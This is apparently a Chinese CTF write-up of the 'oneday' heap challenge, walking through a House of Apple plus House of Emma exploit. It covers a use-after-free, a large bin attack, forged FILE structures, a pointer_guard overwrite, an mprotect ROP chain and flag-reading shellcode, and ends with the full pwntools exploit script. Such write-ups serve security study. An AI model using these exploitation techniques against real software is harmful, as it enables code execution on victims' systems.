-
-
[原创]pwn_oneday题目解析
-
2023-12-19 11:39 5734
-
pwn_oneday题目解析
一.前言
初学house of apple,学习了roderick01师傅的文章内容,在看House of apple(1)(文章链接)时看到有练习题目pwn_oneday,但是在跟着exp复现对应攻击时发现对于exp也没有过多的解释,这里也是对该题目的exp进行详细的分析,也是更进一步的了解如何利用house of apple的攻击。
二.前置知识
对于该题目大佬的攻击主要是利用了house of apple和house of emma的组合攻击,最终实现了orw读取flag,在这里主要困难的点在于这里的edit也就是修改chunk中内容的步骤只能进行一次,所以没办法直接利用house of emma(因为house of emma需要两次large bin attack,首先攻击pointer_guard将其修改为已知的内容,第二次攻击是攻击_IO_list_all,将其进行挟持到堆上,这样就可以控制FILE的结构,实现最终的攻击效果),因此由于本题只能进行一次修改,没办法构造出两次写,所以想到了利用house of apple,首先将_IO_list_all上的值覆盖为堆上的值,之后利用house of apple可以实现对于pointer_guard进行覆盖为一个已知的值,这样在利用chain的值指向之后伪造的第二个file结构,对于这个结构可以实现house of emma的攻击方式,最终实现orw攻击
2.1 house of apple
讲完了大致的攻击思路,简单介绍以下house of apple的攻击原理,简单来说就是利用了_IO_wstrn_overflow这个函数,通过伪造file的结构,这个函数可以覆盖传入fp->_wide_data上的地址覆盖为可以知道的堆地址,攻击效果和进行一次large bin attack一样,实现任意地址写已知地址。
2.2 house of emma
这里主要是利用了在fflush(stderr),这个函数会稳定的调用_IO_file_jumps中的sync,如果我们吧这个指针伪造为之前提到过的pcop的Gadget也就是:
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
我们就可以实现控制rdx,并且call对应的函数,这里一般为setcontext + 61,但是这篇文章是将其call mprotect函数,这样就可以增加可执行权限,之后直接执行orw的shellcode就可以了,原理是一样的。
三.脚本分析
3.1漏洞分析
对于这个题目,首先分析以下对应的功能,主要分为add,delete,edit,show四个功能。
在分析add的实现之前需要说明的是,add的chunk大小是固定的,在main函数的时候需要输入一个key值,在之后add的chunk大小只能是key,key + 0x10,2 * key这三个大小的chunk。
由于我们只能任意修改一次的chunk内容,所以如果我们想要即进行large bin attack攻击形成任意地址写一个堆地址,又在这个堆地址内完成对于fake file的构造,就需要我们完成以下的chunk构造,这里借用了roderick01师傅的图(这个图有个小问题,应该chunk的起始为bk这里)。只有这样我们才可以在伪造bk_nextsize的同时修改size位并且构造fakechunk实现House of apple和house of emma的攻击。
因此为了满足这个条件,我们需要对于堆块进行构造,这里roderick01大佬选择的key的值为0xa,这里需要注意对于key大小的选择,需要满足乘以0x110之后的size分配出来的chunk大小位于large bin中,并且chunk1和chunk3的大小需要位于同一个Bins中,这样才可以利用large bin attack向指定位置写堆地址。
之后就是讲解一下如何进行堆风水的排布,这里利用了以下两个公式,我们将x设置为key + 0x10,把y设置为key + 0x20,把z设置为2 * key + 0x10,通过这个恒等式我们可以发现如果我们想构造出上述的示意图效果,只需要分配2个x,这样下一个chunk的指针指向的就是示意图中的chunk2,如果分配两个y下一次分配chunk的指针就会指向chunk3,如果分配一个z,下一个chunk的指针就会指向chunk1。自此就完成了对于key的分配以及一些chunk构造的分析,之后就是对于函数的四个功能进行分析。
2∗y−z=2∗key+0x40−2∗key−0x10=0x30
2∗y−2∗x=2∗key+0x40−2∗key−0x20=0x20
首先是add函数,这里之前也说过,主要就是三个选项,这里的key值也是固定的,所以只能分配key,key + 0x10,2 * key这三个大小的chunk。
之后就是delete函数,这个函数也是存在悬空指针,存在uaf漏洞
edit函数,这里只能修改一次chunk的内容,由于没有检查是否该chunk已经被释放,所以可以利用uaf来进行攻击
最后也就是show函数,这里也就是泄露Heap和libc基地址的,也是只有一次机会。
3.2漏洞利用
3.2.1 分配chunk3的指针
对于这个题目,之前已经讲述了怎么来构造示意图中的形式,所以首先就是要预留指向对应位置的指针,这里首先申请两个y的chunk和一个x的chunk,这样2这个指针指向的就是示意图中的chunk3,之后把这三个chunk进行删除,由于都是Unsortedbin,删除之后会进行合并,导致和没有分配chunk之前一样
1 2 3 4 5 6 7 | io.sendlineafter(b 'enter your key >>\n' , str ( 10 ).encode()) add( 2 ) #0 add( 2 ) #1 add( 1 ) #2 delete( 2 ) delete( 1 ) delete( 0 ) |
3.2.2 分配chunk2的指针
之后就是分配两个x的chunk,并且泄露出heap和libc的基地址,这里的代码实现主要是通过分配四个x的chunk,这样5这个指针就会指向示意图中的chunk2,之后删除3和5这两个chunk,由于他们是unsortedbin,所以我们可以一次性的泄露出libc和heap的基地址,之后就是将4和6删除,继续恢复堆为初始化的状态。
1 2 3 4 5 6 7 8 9 10 11 12 | add( 1 ) #3 add( 1 ) #4 add( 1 ) #5 add( 1 ) #6 delete( 3 ) delete( 5 ) show( 3 ) libc_base = u64(io.recvuntil(b '\x7f' )[ - 6 :].ljust( 8 , b '\x00' )) - 0x1f2cc0 io.recv( 2 ) heap_base = u64(io.recv( 6 ).ljust( 8 , b '\x00' )) - 0x17f0 delete( 4 ) delete( 6 ) |
3.2.3分配chunk1的指针以及将其放入large bin中
自此,已经把其它两个指针的指向构造完毕,之后就是分配一个z的chunk,这样8这个指针就可以指向示意图中chunk1这个chunk了。之后将这个8指向的chunk删掉在申请一个最大的chunk,使得8指向的chunk进入large bin,这样就完成了对于chunk的所有构造,之后就是进行large bin attack,house of apple和house of emma攻击了
1 2 3 4 5 | add( 3 ) #7 add( 1 ) #8 add( 1 ) #9 delete( 8 ) add( 3 ) #10 |
3.2.4伪造两个fake file来进行large bin attack,house of apple和house of emma
之后就是对于两个进行house of apple和house of emma的fake file伪造,这里利用了pwncli的IO_FILE_plus_struct(),这里用pwntools的FileStructure的话没有_mode的字段,所以选择了这个,伪造的字段首先利用House of apple攻击了pointer_guard,这里设置_IO_read_ptr为0xa81是为了伪造chunk3的size域,以便之后free的时候不会报错,之后将chain指向下一个伪造House of emma的fake file地址,之后按照house of apple中的限制条件填写对应的字段 ,并且把_wide_data指向pointer_guard,这样就可以将其覆盖为我们已知的地址。
对于house of emma的构造也是根据对应的限制条件,对于file进行构造,但是对于house of emma的一些攻击构造并不是在file的结构上面构造的,所以在之后的payload书写过程中也会进一步对于之后的字段进行伪造,这里只是单独对于file需要满足的条件进行伪造。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | f1 = IO_FILE_plus_struct() f1._IO_read_ptr = 0xa81 f1.chain = chain f1._flags2 = 8 f1._lock = _lock f1._mode = 0 f1._wide_data = point_guard_addr f1.vtable = _IO_wstrn_jumps f2 = IO_FILE_plus_struct() f2._IO_write_base = 0 f2._IO_write_ptr = 1 f2._mode = 0 f2._lock = _lock f2._flags2 = 8 f2.vtable = _IO_cookie_jumps + 0x58 |
通过这两个file结构的伪造,我们就可以对于payload进行编写,这里主要是利用chunk2来伪造bk_nextsize和之后的对于chunk3字段内容的伪造和fake file的构造,具体payload如下,这里解释以下对应字段的作用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | data = flat({ 0x8 : target_addr - 0x20 , 0x10 : { 0 : { 0 : bytes(f1), 0x100 :{ 0 : bytes(f2), 0xe0 : [chain + 0x100 , rol(magic_gadget ^ expected, 0x11 )], 0x100 : [ add_rsp_0x20_pop_rbx_ret, chain + 0x100 , 0 , 0 , mov_rsp_rdx_ret, 0 , pop_rdi_ret, chain & ~ 0xfff , pop_rsi_ret, 0x4000 , pop_rdx_rbx_ret, 7 , 0 , libc_base + libc.sym[ 'mprotect' ], chain + 0x200 ], 0x200 : asm(shellcraft. open ( './flag' , 0 ) + shellcraft.read( 3 , heap_base, 0x100 ) + shellcraft.write( 1 , heap_base, 0x100 )) } }, 0xa80 : [ 0 , 0xab1 ] } }) |
首先就是伪造了bk_nextsize,让他指向了_IO_list_all - 0x20这里,这样之后进行large bin attck之后就会向_IO_list_all填写伪造好的chunk3的地址,之后就是填写f1的fake file,这里主要是伪造了chunk3的size域和house of apple的对应对应攻击内容,这里解释以下chain为什么设置为heap_base + 0x1910,首先看一下的largebins的chunk距离heap_base的偏移为0x17e0,之后由于我们是在chunk2的指针进行编写payload的,所以fake file1的起始距离这个largebins的偏移为0x30,之后根据上述payload可以看到f2的起始位置距离f1的起始位置偏移为0x100,相加起来就是0x1910。
在这个fake file2填写完之后伪造了__cookie字段和read字段,伪造后的_IO_cookie_file结构如下:
将read指针覆盖为magic_gadget,其实就是pcop这个gadget,由于执行这段gadget的时候rdi的值为__cookie的值,所以将其覆盖为chain + 0x100,之后观察payload的构造,rdi + 8的地方写入的地址就是rdi的地址,所以rdx也指向了这段代码,之后将rdx + 0x20处写上mov_rsp_rdx_ret这段gadget的地址,这样就可以将rsp也赋值到rdx和rdi指向的这个地方,之后再这个开始的地方写add_rsp_0x20_pop_rbx_ret,这段gadget,这样就可以将rsp减去0x28(加上pop的0x8)。
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
这样rsp指向的就是下面这部分rop链,这里就是利用mprotect函数将这段区域增加了rwx的权限,因此就可以对这里进行orw攻击了,并且最终跳转到chain + 0x200这里,这里是用shellcode编写的读取flag并且输出的汇编指令。
1 2 3 4 5 6 7 8 | pop_rdi_ret, chain & ~ 0xfff , pop_rsi_ret, 0x4000 , pop_rdx_rbx_ret, 7 , 0 , libc_base + libc.sym[ 'mprotect' ], chain + 0x200 |
自此就完成了整个对于House of apple和house of emma的攻击,最后需要注意的是,由于我们需要free这个伪造的chunk3,所以在他结束的地方需要填写一个伪造的chunk的size来绕过检测机制,之后只需要输入一个不在选项中的数,退出main函数就可以触发整个攻击的流程,完成读取flag,这里也是本地的环境,可以看到输出了success也就是flag的内容。
3.2.5 整个攻击的完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | from pwn import * from pwncli import * io = process( "./oneday" ) libc = ELF( "./libc.so.6" ) context.arch = 'amd64' def add(choice): io.recvuntil(b 'enter your command: \n' ) io.sendline(b '1' ) io.recvuntil(b 'choise: ' ) io.sendline( str (choice).encode()) def delete(idx): io.recvuntil(b 'enter your command: \n' ) io.sendline(b '2' ) io.recvuntil(b 'Index: \n' ) io.sendline( str (idx).encode()) def edit(idx, message): io.recvuntil(b 'enter your command: \n' ) io.sendline(b '3' ) io.recvuntil(b 'Index: ' ) io.sendline( str (idx).encode()) io.recvuntil(b 'Message: \n' ) io.send(message) def show(idx): io.recvuntil(b 'enter your command: \n' ) io.sendline(b '4' ) io.recvuntil(b 'Index: ' ) io.sendline( str (idx).encode()) def exit(): io.recvuntil(b 'enter your command: \n' ) io.sendline(b '9' ) io.sendlineafter(b 'enter your key >>\n' , str ( 10 ).encode()) add( 2 ) #0 add( 2 ) #1 add( 1 ) #2 delete( 2 ) delete( 1 ) delete( 0 ) add( 1 ) #3 add( 1 ) #4 add( 1 ) #5 add( 1 ) #6 delete( 3 ) delete( 5 ) show( 3 ) libc_base = u64(io.recvuntil(b '\x7f' )[ - 6 :].ljust( 8 , b '\x00' )) - 0x1f2cc0 io.recv( 2 ) heap_base = u64(io.recv( 6 ).ljust( 8 , b '\x00' )) - 0x17f0 delete( 4 ) delete( 6 ) add( 3 ) #7 add( 1 ) #8 add( 1 ) #9 delete( 8 ) add( 3 ) #10 target_addr = libc_base + libc.sym[ '_IO_list_all' ] _IO_wstrn_jumps = libc_base + 0x1f3d20 _IO_cookie_jumps = libc_base + 0x1f3ae0 _lock = libc_base + 0x1f5720 point_guard_addr = libc_base - 0x2890 expected = heap_base + 0x1900 chain = heap_base + 0x1910 magic_gadget = libc_base + 0x146020 mov_rsp_rdx_ret = libc_base + 0x56530 add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449 pop_rdi_ret = libc_base + 0x2daa2 pop_rsi_ret = libc_base + 0x37c0a pop_rdx_rbx_ret = libc_base + 0x87729 f1 = IO_FILE_plus_struct() f1._IO_read_ptr = 0xa81 f1.chain = chain f1._flags2 = 8 f1._lock = _lock f1._mode = 0 f1._wide_data = point_guard_addr f1.vtable = _IO_wstrn_jumps f2 = IO_FILE_plus_struct() f2._IO_write_base = 0 f2._IO_write_ptr = 1 f2._mode = 0 f2._lock = _lock f2._flags2 = 8 f2.vtable = _IO_cookie_jumps + 0x58 data = flat({ 0x8 : target_addr - 0x20 , 0x10 : { 0 : { 0 : bytes(f1), 0x100 :{ 0 : bytes(f2), 0xe0 : [chain + 0x100 , rol(magic_gadget ^ expected, 0x11 )], 0x100 : [ add_rsp_0x20_pop_rbx_ret, chain + 0x100 , 0 , 0 , mov_rsp_rdx_ret, 0 , pop_rdi_ret, chain & ~ 0xfff , pop_rsi_ret, 0x4000 , pop_rdx_rbx_ret, 7 , 0 , libc_base + libc.sym[ 'mprotect' ], chain + 0x200 ], 0x200 : asm(shellcraft. open ( './flag' , 0 ) + shellcraft.read( 3 , heap_base, 0x100 ) + shellcraft.write( 1 , heap_base, 0x100 )) } }, 0xa80 : [ 0 , 0xab1 ] } }) edit( 5 , data) delete( 2 ) add( 3 ) exit() io.interactive() |
四.debug来了解整个攻击的流程
这里通过debug来更好的了解house of apple是如何实现攻击的,首先我们断点定在_IO_wstrn_overflow,在这里就是对于pointer_guard进行修改的函数,经过下图的一系列赋值,我们可以看到对应的值都已经修改为我们可以预测到的值了,方便之后进行house of emma的加密pcop的gadget。
之后就是在_IO_cookie_read进行断点,可以看到house of emma的攻击过程。
这里可以看到解密之后我们调用对应函数指针就已经指向了pcop的gadget的地方了,经过对应的call函数,我们可以看到已经和预想的一样执行到我们的rop链地址。
之后就是进入到了mprotect的阶段,修改对应位置的权限。
修改完之后可以看到已经开始执行我们写的shellcode了,并且vmmap可以看到对应段落的权限。
自此完成了所有攻击的内容,读出对应的flag内容。
五.总结
该题目很好的阐述了house of apple是如何进行利用的,并且结合了house of emma,使得对于高版本的堆利用有了更进一步的理解,这里也对house of apple进行一个总结,这个攻击对于这个题目主要的意义在一只能进行一次任意地址写已知地址,但是对于house of emma需要两次,所以可以利用house of apple,这样就相当于多增加了一次large bin attack的机会,这种攻击方式对于题目edit有限制的时候十分有效果。
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。